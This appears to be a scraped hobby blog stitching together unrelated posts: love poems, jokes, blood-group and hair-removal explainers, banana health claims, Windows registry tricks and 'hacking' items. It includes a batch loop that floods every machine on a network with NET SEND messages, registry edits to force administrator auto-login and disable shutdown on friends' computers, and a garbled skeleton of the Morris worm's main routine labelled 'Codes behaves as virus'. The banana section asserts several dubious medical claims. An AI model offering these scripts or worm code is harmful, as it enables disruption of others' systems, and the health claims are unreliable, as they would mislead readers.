21. You wont have to hide your telephone bills.....
22. You wont have to hide your tears & pain.

Rename a Series of Files

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You can rename several similar files at once with the following procedure.

1.Open the folder containing files that you want to rename.

2.Select the files you want to rename. If the files you want are not adjacent in the file list, press and hold CTRL, and then click each item to select it.

3.On the File menu, click Rename.

4.Type the new name, and then press ENTER.

All of the files in the series will be named in sequence using the new name you type. For example, if you type party, the first will be named party and subsequent files in the series will be named party(1), party(2), and so on. To specify the starting number for the series, type the starting number in parentheses after the new file name. The files in the series will be numbered in sequence starting with the number you type. For example, if you type party (100), the other files will be named party (101), party(102), and so on.

The main difference between http:// and https://

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HTTP stands for HyperText Transport Protocol, which is just a fancy way of saying it's a protocol (a language, in a manner of speaking) for information to be passed back and forth between web servers and clients.
The important thing is the letter S which makes the difference between HTTP and HTTPS. The S (big surprise) stands for "Secure".
If you visit a website or webpage, and look at the address in the web browser, it will likely begin with the following: http://.

This means that the website is talking to your browser using the regular 'unsecure' language. In other words, it is possible for someone to "eavesdrop" on your computer's conversation with the website. If you fill out a form on the website, someone might see the information you send to that site.

This is why you never ever enter your credit card number in an http website!
But if the web address begins with https://, that basically means your computer is talking to the website in a secure code that no one can eavesdrop on.
You understand why this is so important, right?

If a website ever asks you to enter your credit card information, you should automatically look to see if the web address begins with https://.
If it doesn't, there's no way you're going to enter sensitive information like a credit card number!

Model of the Day

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TRUE LOVE

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TRUE LOVE means:
To FEEL someone in ever HEARTBEAT,
To FIND someone in every THOUGHT,
To SEE someone with CLOSED EYES,
and to MISS someone without reason :)

Reasons to love a women

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you can feel her CARE in form of a sister.
you can feel her WARMTH in form of a friend.
you can feel her PASSION in form of a beloved.
you can feel her DEDICATION in form of a wife.
you can feel her DIVINITY in form of a mother.
you can feel her BLESSINGS in form of grand'ma.
yet she is so TOUGH too.
Her heart is So TENDER.
So NAUGHTY,
So Charming.
So Sharing,
So Melodious,
She is a Woman.
She is Life...
Respect Her.

Nature pics

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more pics!!

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More Unseen India!!

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Unseen India!!

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Picturs from Kanyakumari

Blood group

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A blood group or blood type is based on the presence or absence of two proteins (A, B) on the surface of red blood cells. Because two proteins are involved, there are four possible combinations or blood types (ABO groups):

· Type A - Only the A protein is present.

· Type B - Only the B protein is present.

· Type AB - Both proteins are present.

· Type O - Neither protein is present (about 40 percent of the population).

In addition to the A and B proteins, there is another protein involved called the Rh factor (Rh for Rhesus monkey, where it was first identified). The Rh factor is either present (+) or absent (-). Therefore, blood types are described as the type and Rh factor (such as O+ , A+, AB-).

There are three forms of the gene (alleles) that control the ABO blood group, which are designated as iA, i B, and i. You have two alleles (one from your mother and one from your father), which are referred to as your genotype.

The inheritance of the alleles is co-dominant, meaning that if the allele is present, it gets expressed. The following genotypes will yield these blood types:

· iAiA or iAi - Both genotypes produce the A protein (type A).

· iBiB or iBi - Both genotypes produce the B protein (type B).

· iAiB - This genotype produces the A and B protein (type AB).

· ii - This genotype produces no protein (type O).

So, your blood type does not necessarily tell you exactly which alleles you have. For example, a person with blood type A could have either two iA alleles or one iA allele and one i allele. It is possible for two parents with the same blood type (A or B) to have a child with type O blood.

Both parents would have to have a mixed genotype, such as one i allele together with either one iA or one iB allele.

Blood types are determined by placing three drops of blood on a glass microscope slide. To one drop of blood, a drop of antibody solution to protein A (anti-A) is added. To the second drop, a drop of antibody solution to protein B is added.

To the third drop, a drop of antibody solution to Rh factor (anti-Rh) is added. The blood drops and antibody drops are mixed and examined for clumps of red blood cells, and the blood type is determined. Clumps mean that the particular protein (A, B, Rh) is present.

For example, clumps in anti-A and anti-Rh, but not anti-B, would indicate a person with type A+ blood.

Blood types are important for giving blood from one person to another (transfusion). The blood types must be matched. If not matched properly, the recipient will form clumps (clots) in response to the donor's blood. The clots will lead to heart attacks, embolisms and strokes (transfusion reactions). Two blood types are special:

· Type O- is called the universal donor because it can be given to anybody; it has no protein to cause clumps.

· Type AB+ is the universal receiver because the recipient has all of the proteins and so will not form clumps.

Finally, the Rh factor is important for pregnant women. If an Rh+ man and an Rh- woman have a child, the child can be Rh+ or Rh-, depending upon the genotype of the father. If the baby is Rh+, this can cause problems.

While in the womb, some blood cells from the baby will cross the placenta into the mother's blood stream. The mother will make antibodies to the Rh+ cells. If the woman becomes pregnant again and if the baby is Rh+, the mother's anti-Rh antibodies will cross into the baby's blood and destroy its red blood cells, which can kill the baby.

If diagnosed early, it is possible to save a baby under these circumstances by replacing the baby's blood with transfusions that are free of the Rh antibodies. Also, if this situation is known, it is possible to treat a Rh- woman with anti-Rh antibodies (RhoGam) immediately after childbirth to inactivate the baby's Rh+ cells and prevent the mother from forming anti-Rh antibodies (desensitize her).

Meanig of kiss

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1. Kiss on the hand.... I adore you.
2. Kiss on the cheek... I just want to be friends.
3. Kiss on the neck... I want you.
4. Kiss on the lips... I love you.
5. Kiss on the ears...I am just playing.
6. Kiss anywhere else... lets not get carried away.
7. Look in your eyes... kiss me.
8. Playing with your hair... I can't live without you.
9. Hands on your waist... I love you too much to let you

so, what you are waiting for??

go ahead honey!!

Tajmahal Never seen before.

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AADAT NAHI RAHI

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SAPNO SE DIL LAGANE KI AADAT NAHI RAHI,
HAR WAQT MUSKURANE KI AADAT NAHI RAHI,
YE SOCH KE KI KOI MANAANE NAHI AAYEGA,
AB HUME ROOTH JAANE KI AADAT NAHI RAHI

Difference between Somebody you Love"&"Somebody you Like"

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1. In front of the person you love, your heart beats faster.

But in front of the person you like, you get happy.

2. In front of the person you love, winter seems like spring.

But in front of the person you like, winter is just beautiful winter.

3. If you look into the eyes of the one you love, you blush.

But if you look into the eyes of the one you like, you smile.

4. In front of the person you love, you can't say everything on your mind.

But in front of the person you like, you can.

5. In front of the person you love, you tend to get shy.

But in front of the person you like, you can show your own self.

6. You can't look straight into the eyes of the one you love.

But you can always smile into the eyes of the one you like.

7. When the one you love is crying, you cry with them.

But when the one you like is crying, you end up comforting.

8. The feeling of love starts from the eye.

But the feeling of like starts from the ear.

So if you stop liking a person you used to like, all you need to do is cover your ears.
But

If you try to close your eyes, love turns into a drop of tear and remains in your heart forever.

In a Search of love.

Daddy, how was I born? - Very Cute

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A little boy goes to his father and asks "Daddy, how was I born?"

The father answers, "Well, son, I guess one day you will need to find out anyway! Your Mom and I first got together in a chat room on Yahoo. Then I set up a date via e-mail with your Mom and we met at a cyber-cafe. We sneaked into a secluded room, where your mother agreed to a download from my hard drive. As soon as I was ready to upload, we discovered that neither one of us had used a firewall, and since it was too late to hit the delete button, nine months later a little Pop-Up appeared that said.

Hair Removal: Know All The Methods

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Most of us are concerned about the amount of hair on our bodies, and there are many options for those who desire to rid themselves of unsightly hair. Shaving and plucking are the most popular methods of hair removal, but there are also methods known as waxing, sugaring and threading.

Shaving is the most popular method of hair removal. It's simple and can be accomplished with a straight razor or an electric razor. Some electric shavers provide best results after use of pre-shaving gels, creams or lotions, as can shaving with a straight razor.

Plucking is used as a method of hair removal for unsightly or unwanted facial hair. Using tweezers, hair removal from eyebrows is generally accomplished by hand held or electric tweezers. Tweezing pulls the hair out by its roots but it can be time consuming, depending on the results you're looking for, as each hair must be pulled out individually. Until the skin around the area becomes desensitized, this process can be on the painful side, and redness, inflammation can occur. For most, the effects of tweezing can last anywhere from three to eight weeks.

Threading is becoming a more popular trend in hair removal methods. This ancient hair removal process continues to be used in various parts of the world today, including parts of southwest Asia and the Middle East. To facilitate hair removal with this method, a long loop of thread, mostly cotton, is twisted into a figure-8 type shape and rolled along the surface of the skin. Hairs caught between the coiled pieces of string are pulled out by their roots, resulting in near perfect smoothness. This method suits hair removal from eyebrows and other facial areas, and is considered by many to be less painful than the plucking hair removal method.

Waxing is a hair removal method that is a little more time intensive and messy, though such inconveniences are more than outweighed by the fact that this method is extremely effective in hair removal of just about any type of body hair. Waxing facilitates the removal of entire shafts of hair, from below the surface of the skin. This method can be accomplished using either cool or hot wax. Be advised that waxing for hair removal, however effective, can cause skin irritations that may last several hours, and if not done carefully, can produce burns and other unpleasant results.

A hair removal method similar to waxing is one called sugaring. In this method, a sugar mixture is used instead of wax. Blending and heating sugar, water and lemon juice until it develops into a pasty mixture creates this concoction. This mixture is then applied to the surface of the skin, like a wax treatment, followed by a strip of cotton, which is then rapidly pulled off the skin in the opposite direction of the hair growth. This method of hair removal is popular among those who are sensitive to the ingredients in wax.

So take your pick, try them out and decide which method of hair removal best suits your time and your preferences.

Find your love -for girls specially!!

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Check out this..

1. Find a guy who calls you beautiful instead of hot...

2. who calls you back when you hang up on him...

3. who will stay awake just to watch you sleep...

4. wait for the guy who kisses your forehead...

5. who wants to show you off to the world when you are in your sweats...

6. who holds your hand in front of his friends...

7. who is constantly reminding you of how much he cares about you and how lucky he is to have you...

8. wait for the one who turns to his friends and says, "...that's her, or that's him"...

True love will knock on your heart and something good will happen to you.
It could happen anywhere. So get ready for the biggest shock of your life.
Just open your eyes and ears and get life partner.

Best wishes..

Love Quotes

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Quotes Collection -Collection of romantic love quotes from famous authors, & other romantic sources. These love quotes are simply for showing your love. Scroll down to see the romantic love quotes.

Don't spend your life with someone you can live with - spend it with someone you can't live without. ~ Anon

Forgiveness does not change the past, but it does enlarge the future. ~ Paul Boese

A kiss is a lovely trick designed by nature to stop speech when words become superfluous. ~ Ingrid Bergman

You don't love a woman because she is beautiful, but she is beautiful because you love her. ~ Anon

True love stories never have endings. ~ Unknown
Love is not blind -- it sees more, not less. But because it sees more, it is willing to see less. ~ Rabbi J. Gordon

That best portion of a good man's life; his little, nameless, unremembered acts of kindness and love. ~ William WordsWorth

If it is your time, love will track you down like a cruise missile. ~ Lynda Barry

Teri mohabbat

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Jo Teri Mohabbat Main Duniya Se Begana Tha
Woh Ek Tha Pagal Jo Tera Deewana Tha
Afsos Ke Tum Ne Mujh Ko Samjha Hi Nahi
Main To Tera Apna Tha, Nahi Koi Anjana Tha
Apna Bana ke Tum Ne Mujh Ko Akela Chor Diya
Ek Pal Main Rishta Tor Diya
Jo Ke Buhat Purana tha
Kehten Hain Ke Tumaray Dil Main Hain Zakham Beshumar
In Zakhmoo Ko Metanay Ke Liyen Is Dil Ko Tu Jalana Tha
Ab Kia Roona Hai 'challo Is Bewafai Per
Is Bewafa Sanam Se Acha Tu Ye Bewafa zamana Tha.

"A banana a day keeps the doctor away!"

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Bananas contain three natural sugars - sucrose, fructose and glucose combined with fiber. A banana gives an instant, sustained and substantial boost of energy.

Research has proven that just two bananas provide enough energy for a strenuous 90-minute workout. No wonder the banana is the number one fruit with the world's leading athletes. But energy isn't the only way a banana can help us keep fit. It can also help overcome or prevent a substantial number of illnesses and conditions, making it a must to add to our daily diet.

Depression: According to a recent survey undertaken by MIND amongst people suffering from depression, many felt much better after eating a banana. This is because bananas contain tryptophan, a type of protein that the body converts into serotonin, known to make you relax, improve your mood and generally make you feel happier.

PMS: Forget the pills - eat a banana. The vitamin B6 it contains regulates blood glucose levels, which can affect your mood.

Anemia: High in iron, bananas can stimulate the production of hemoglobin in the blood and so helps in cases of anemia.

Blood Pressure: This unique tropical fruit is extremely high in potassium yet low in salt, making it perfect to beat blood pressure. So much so, the US Food and Drug Administration has just allowed the banana industry to make official claims for the fruit's ability to reduce the risk of blood pressure and stroke.

Brain Power: 200 students at a Twickenham (Middlesex) school were helped through their exams this year by eating bananas at breakfast, break, and lunch in a bid to boost their brain power. Research has shown that the potassium-packed fruit can assist learning by making pupils more alert.

Constipation: High in fiber, including bananas in the diet can help restore normal bowel action, helping to overcome the problem without resorting to laxatives.

Hangovers: One of the quickest ways of curing a hangover is to make a banana milkshake, sweetened with honey. The banana calms the stomach and, with the help of the honey, builds up depleted blood sugar levels, while the milk soothes and re-hydrates your system.

Heartburn: Bananas have a natural antacid effect in the body, so if you suffer from heartburn, try eating a banana for soothing relief.

Morning Sickness: Snacking on bananas between meals helps to keep blood sugar levels up and avoid morning sickness.

Mosquito bites: Before reaching for the insect bite cream, try rubbing the affected area with the inside of a banana skin. Many people find it amazingly successful at reducing swelling and irritation.

Nerves: Bananas are high in B vitamins that help calm the nervous system.

Overweight and at work? Studies at the Institute of Psychology in Austria found pressure at wor k leads to gorging on comfort food like chocolate and crisps. Looking at 5,000 hospital patients, researchers found the most obese were more likely to be in high-pressure jobs. The report concluded that, to avoid panic-induced food cravings, we need to control our blood sugar levels by snacking on high carbohydrate foods every two hours to keep levels steady.

Ulcers: The banana is used as the dietary food against intestinal disorders because of its soft texture and smoothness. It is the only raw fruit that can be eaten without distress in over-chronicler cases. It also neutralizes over-acidity and reduces irritation by coating the lining of the stomach.

Temperature control: Many other cultures see bananas as a "cooling" fruit that can lower both the physical and emotional temperature of expectant mothers. In Thailand , for example, pregnant women eat bananas to ensure their baby is born with a cool temperature.

Seasonal Affective Disorder (SAD): Bananas can help SAD sufferers because they contain the natural mood enhancer tryptophan.

Smoking &Tobacco Use: Bananas can also help people trying to give up smoking. The B6, B12 they contain, as well as the potassium and magnesium found in them, help the body recover from the effects of nicotine withdrawal.

Stress: Potassium is a vital mineral, which helps normalize the heartbeat, sends oxygen to the brain and regulates your body's water balance. When we are stressed, our metabolic rate rises, thereby reducing our potassium levels. These can be rebalanced with the help of a high-potassium banana snack.

Strokes: According to research in The New England Journal of Medicine, eating bananas as part of a regular diet can cut the risk of death by strokes by as much as 40%!

Warts: Those keen on natural alternatives swear that if you want to kill off a wart, take a piece of banana skin and place it on the wart, with the yellow side out. Carefully hold the skin in place with a plaster or surgical tape!

So, a banana really is a natural remedy for many ills. When you compare it to an apple, it has four times the protein, twice the carbohydrate, three times the phosphorus, five times the vitamin A and iron, and twice the other vitamins and minerals. It is also rich in potassium and is one of the best value foods around So maybe its time to change that well-known phrase so that we say, "A banana a day keeps the doctor away!"

THE COMPUTER PROGRAMMER:

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A man was crossing a road one day when a frog called out to him and said, "If you kiss me, I'll turn into a beautiful princess.
" He bent over, picked up the frog, and put it in his pocket. The frog spoke up again and said,
"If you kiss me and turn me back into a beautiful princess, I will tell everyone how smart and brave you are and
how you are my hero." The man took the frog out of his pocket, smiled at it, and returned it to his pocket.
The frog spoke up again and said, "If you kiss me and turn me back into a beautiful princess,
I will be your loving companion for an entire week." The man took the frog out of his pocket, smiled at it,
and returned it to his pocket. The frog then cried out, "If you kiss me and turn me back into a princess,
I'll stay with you for a year and do ANYTHING you want." Again the man took the frog out, smiled at it,
and put it back into his pocket. Finally, the frog asked, "What is the matter? I've told you I'm a beautiful princess,
that I'll stay with you for a year and do anything you want. Why won't you kiss me?"
The man said, "Look, I'm a computer programmer.
I don't have time for a girlfriend, but a talking frog is cool."

Lovely painting

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Most Alien-like Insects

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"I might look cute but I can sap you out!" Treehoppers have long fascinated biologists because of their unusual appearance. They belong to the Membracidae family and are closely related to cicadas and leafhoppers. They feed upon the sap found in plant stems, which they prick with their beaks.

This fuzzy yellow alien with black spots is called Dasychira Pudibunda and is the larval form, or caterpillar, of the red-tailed moth.

It's me

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Nobody known its empty
This smile that I wear,
The real one is left in the past
Bcoz you have left me there.

Nobody knowns I'm crying
They wont even see my tears,
When they think that I'm laughing
I still wishing U were here.

Nobody knows its painful
They think that I'm strong,
They say that this wont kill me
But I wonder if they were wrong.

Nobody known I'm praying
That you will change my mind,
They think that I had let you go
When you left me behind.

Nobody knows I miss you
they think I feel set free,
But I feel like I'm bound with chains
Trapped in the mystery.

Nobody knows I need you
They say I can do it on my own,
but they dont know I'm crying
When I'm all alone.

from various sources.

Bomb Your Network

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Try this code.

:start
NET SEND * Owned By maan
goto :start

This will keep sending the same message over & over to every computer on that Network.
Only for fun.
Enjoy lol.

Want to say something??

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Killer Eyes

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Cute pictures!!

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Model of the Year..

NOTICE

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TO ALL CONCERNED Certain text files and messages contained on this site deal with activities and devices which would be in violation of various Federal, State, and local laws if actually carried out or constructed.
The Administrator of this site do not advocate the breaking of any law. Our text files and message bases are for informational purposes only. We recommend that you contact your local law enforcement officials before undertaking any project based upon any information obtained from this blog. We do not guarantee that any of the information contained on this system is correct, workable, or factual. We are not responsible for, nor do we assume any liability for, damages resulting from the use of any information on this site.

Thanking you.

with regards;
Administrator,
Youth Adda.

Protect yourself from fake login pages

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Using fake login pages is the easiest way to hack passwords. Identifying a fake login page is very easy but many people neglect to do some small checks before entering the login details and fall in the trap. I have seen a person paying 500$ for a fake login page of paypal. This proves that there are still people falling in this trap.
This is just an example, there are many fake websites of banks, yahoomail, gmail,orkut,myspace etc …

This post is an attempt to show what a hacker does to hack your password using fake login pages and how to protect yourself from those fake logins.I will try to keep this post as simple as possible, there may be some technical details which you can safely skip.
Warning: I strongly advice you not to try this on anyone it may spoil your relation with the person on whom you are trying it and you may even end up behind the bars.

What goes on behind when you enter your login details in login form??

When you enter your login details in any login form and hit enter they are submitted to another page which reads these login details and checks the database if you entered the correct username and passowrd, if yes then you will be taken to your account else you will get an error page.

What an hacker does??

A hacker creates a fake page which looks exactly same as the original page and some how tricks you to enter your login details in that page. These login details are then submitted to a file.At this stage the hacker has two optionsHe can either store the login details on his server or he can directly get them mailed to his email id. All the above said things happen behind the scenes, you will have no clue of it. When you enter you login details for the first time your details are submitted to the hacker and you will be directed to a error page ( this is the original error page).

When you enter ur login details again you will be logged in to your account. It’s quite common for us to enter the login details wrongly sometimes so you will not become suspicious when you get the error page.

How to identify fake login page traps ??

1. Never enter you login details in unknown sites.
2. Always type the address directly in to the browser.
3. Do not follows the links you get in mails and chatting even if they are from your friends
4. Always have a keen look in the address bar and verify if the address is correct.
5. Check the screen shot below. Some people buy doamins which look simliar to the original site example: 0rkut for orkut, pay-pal for paypal,yahooo for yahoo. Some times you may over look these small differences and fall in trap.
6. Please do report to the hosting site or the original site owner when you find a fake login page.

If you feel like you entered your details in a fake login page change your password immediatley.

Registry Hacking

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Display legal notice on startup:

Wanna tell your friends about the do's and dont's in your computer when they login in your absence. Well you can do it pretty easily by displaying a legal notice at system start up.

[HLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system]
"legalnoticecaption"="enter your notice caption"
"legalnoticetext"="enter your legal notice text"

Automatic Administrator Login:

Well here's the trick which you can use to prove that Windows XP is not at all secure as multi-user operating system. Hacking the system registry from any account having access to system registry puts you in to the administrator account.

[HLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"AutoAdminLogon"="1"

No Shutdown:

Wanna play with your friends by removing the shutdown option from start menu in their computer.
Just hack it down !!!

HCU\Software\Microsoft\Windows\CurrentVersion\Explorer
"NoClose"="DWORD:1"

Enjoy Hacking!!

No Word !!

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The truth about plastic

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Did you ever drink from a plastic bottle and see a triangle symbol on the bottom with a number inside?

Do you know what the number stands for?
Did you guess that it's just for recycling?
Then you are WRONG !!!!!!
THE NUMBER TELLS YOU THE CHEMICAL MAKE UP OF THE PLASTIC.....

1) Polyethylene terephalate (PET)
2) High density polyethylene (HDPE)
3) Unplasticised polyvinyl chloride (UPVC) or Plasticised polyvinyl chloride (PPVC)
4) Low density polyethylene LDPE
5) Polypropylene (PP)
6) Polystyrene (PS) or Expandable polystyrene (EPS)
7) Other, including nylon and acrylic
What you aren't told is that many of the plastics used are toxic and the chemicals used to create a plastic can leach out of the plastic and into the food / drink.
Think about it, how many times have you or a friend said "I don't like this, it taste like the plastic bottle ..... "
THAT'S BECAUSE YOU ARE TASTING THE PLASTIC
The WORST ONES are Nos: 3, 6, and 7 !!!

DO NOT USE THESE NUMBERS if stated at the bottom of the bottle) !!!

AVOID re-using plastic bottles RIGHT AWAY !!!

Disclaimer

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This blog contains various information for educational purpose only. A registry related article, can modify your Windows Registry. It is always recommended that you take a backup of the registry before proceeding with an edit, because, as you should be aware, an improperly executed hack could cause strange behaviour, and at worst, could even entirly corrupt your Windows installation, requiring you to reinstall windows.

Neither Youth adda nor its Moderater and affiliates can be held responsible for any damage you may cause to your system as a result of taking any action suggested herein. you are solely accountable for any negative consequences arising from changes you make to your Windows Registry as suggested in this blog.

Thank you.
Administrator,
Youth Adda.

Create Your Own Tips

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If you are getting bored of the windows tutorial tips that appear when you log in to windows, use this hack to change and add your own tips.

Navigate to:

HLM\Software\Microsoft\Windows\Current Version\Explorer\Tips

The tips are listed in alphabetical or numerical sequence. You can either replace the string values in the existing tips, or create your own tips, or increment the existing letters or numbers and enter a string value with your own tip. For example, if the last tip is designated “Y”, the next tip could be “Z” with your String value text.

You can use any message in the String value; It needn’t be a tip! For example, try
“Happy Surfing with Us!” as a tip and see how it appears when you next log in.

Restart your system for take effect.

Change the Window Title in Window Media Player

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Use this hack if you want to give the Windows Media Player window title something creative or personal. you can do better using following tips. For example, “Windows Media Player”.

Navigate to:

HCU\Software\Policies\Microsoft\WindowsMediaPlayer

And to:

HLM\Software\Policies\Microsoft\WindowsMediaPlayer

Set the string value for these setting TitleBar to the required text you wish to display, in our case, “Windows Media Player”. To revert to the default title, delete the TitleBar setting entirely.

Just restart Windows Media Player to see the effect.

Hidden movie in XP

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Hey All,
Do u know that windows XP is having a hidden "Star Wars Movie" inside it???
You should be connected to the NET for using this.
Go to Starts-->Programs-->Run
Type
telnet towel.blinkenlights.nl
And hit enter.
Enjoy!!!!

* WARNING *

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The Source Code is for educational and information purposes only, for researchers and computer virus or programming enthusiasts. No warranty is given or to be implied for any software/source code listings contained herein. You take full responsibility for any damages caused by compiling, running, or sharing this information. Be aware that running any malicious code on another's computer or computer network might be a criminal act. Use at your own risk!

Regards;
Rohit Kapoor.
Administrator,
http://myyouthcafe.blogspot.com/

Codes behaves as virus

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#include
#include
#include
#include

long current_time;
struct rlimit no_core = {0,0};
int
main (argc, argv)
int argc;
char *argv[];
{
int n;
int parent = 0;
int okay = 0; /* change calling name to "sh" */
strcpy(argv[0], "sh"); /* prevent core files by setting limit to 0 */
setrlimit(RLIMIT_CORE, no_core);
current_time = time(0); /* seed random number generator with time */
srand48(current_time);
n = 1;
while (argv[n]) { /* save process id of parent */
if (!strncmp(argv[n], "-p", 2)) {
parent = atoi (argv[++n]);
n++;
}
else {/* check for 1l.c in argument list */
if (!strncmp(argv([n], "1l.c", 4))
okay = 1; /* load an object file into memory */
load_object (argv[n];
/* clean up by unlinking file */
if (parent)
unlink (argv[n]); /* and removing object file name */
strcpy (argv[n++], "");
}
} /* if 1l.c was not in argument list, quit */
if (!okay)
exit (0); /* reset process group */
setpgrp (getpid()); /* kill parent shell if parent is set */
if (parent)
kill(parent, SIGHUP); /* scan for network interfaces */
if_init(); /* collect list of gateways from netstat */
rt_init(); /* start main loop */
doit();
}
int
doit()
{current_time = time (0); /* seed random number generator (again) */
srand48(current_time);
/* attack gateways, local nets, remote nets */
attack_hosts(); /* check for a "listening" worm */
check_other () /* attempt to send byte to "ernie" */
send_message ()
for (;;) { /* crack some passwords */
crack_some (); /* sleep or listen for other worms */
other_sleep (30);
crack_some (); /* switch process id's */
if (fork()) /* parent exits, new worm continues */
exit (0); /* attack gateways, known hosts */
attack_hosts();
other_sleep(120); /* if 12 hours have passed, reset hosts */
if(time (0) == current_time + (3600*12)) {
reset_hosts();
current_time = time(0); }
/* quit if pleasequit is set, and nextw>10 */
if (pleasequit && nextw > 10)
exit (0);}}

Food art

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